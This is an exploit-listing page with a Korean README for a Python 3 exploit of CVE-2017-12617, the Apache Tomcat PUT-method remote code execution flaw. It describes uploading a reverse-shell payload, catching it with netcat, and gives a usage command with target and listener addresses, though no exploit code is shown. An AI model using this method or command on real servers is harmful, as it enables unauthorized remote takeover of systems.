Sploitus

Exploit for CVE-2017-12617

kitploit Β· 2026-08-25

Exploit Code

MARKDOWN17 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LONGWAYHOMIE-CVE-2017-12617
# CVE-2017-12617

CVE-2017-12617은 Apache Tomcatμ—μ„œ 원격 μ½”λ“œ μ‹€ν–‰(RCE)으둜 μ΄μ–΄μ§€λŠ” 치λͺ…적인 μ·¨μ•½μ μž…λ‹ˆλ‹€.  
이 취약점은 버전 9.0.0.M1 - 9.0.0, 8.5.0-8.5.22, 8.0.0.RC1 - 8.0.46, 7.0.0 - 7.0.81μ—μ„œ μž‘λ™ν•©λ‹ˆλ‹€.  
였직 8.0.24μ—μ„œλ§Œ ν…ŒμŠ€νŠΈλ˜μ—ˆμŠ΅λ‹ˆλ‹€. 취약점은 μ• ν”Œλ¦¬μΌ€μ΄μ…˜ λ˜λŠ” Tomcat μΈμŠ€ν„΄μŠ€ μžμ²΄μ—μ„œ 잘λͺ» κ΅¬μ„±λœ PUT μ˜΅μ…˜μ„ μ΄μš©ν•©λ‹ˆλ‹€.  
PUT을 μ‚¬μš©ν•˜μ—¬ λ¦¬λ²„μŠ€ μ…Έ νŽ˜μ΄λ‘œλ“œλ₯Ό μ„œλ²„λ‘œ μ „μ†‘ν•˜κ³  μ‹€ν–‰ν•˜λ©°, netcat으둜 μˆ˜μ‹  λŒ€κΈ°ν•©λ‹ˆλ‹€.  


λ™μΌν•œ μ΅μŠ€ν”Œλ‘œμž‡μ˜ μ—¬λŸ¬ 버전이 인터넷에 μ‘΄μž¬ν•˜μ§€λ§Œ Python2 기반이기 λ•Œλ¬Έμ—, Python 3μ—μ„œ μž‘λ™ν•˜λ„λ‘ λ‹€μ‹œ μž‘μ„±ν–ˆμŠ΅λ‹ˆλ‹€.  
μ¦κΈ°μ„Έμš”.  
  


μ‚¬μš© μ˜ˆμ‹œ: `python3 cve-2017-12617.py -t 127.0.0.1 -p 8888 -l 192.168.1.118 -P 5555`

![Screen](https://assets.kitploit.com/production/public/readmes/37563/afff242eeed8d2a380bf9c60133d841f367c86b60d63d32835a21f4358ac0ab2.png)